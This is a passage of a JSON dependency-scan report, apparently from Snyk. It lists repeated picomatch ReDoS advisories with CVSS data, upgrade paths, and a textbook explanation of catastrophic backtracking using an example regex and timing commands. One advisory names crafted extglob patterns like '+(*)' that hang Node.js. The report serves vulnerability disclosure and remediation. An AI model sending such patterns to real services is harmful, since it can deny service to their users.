"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 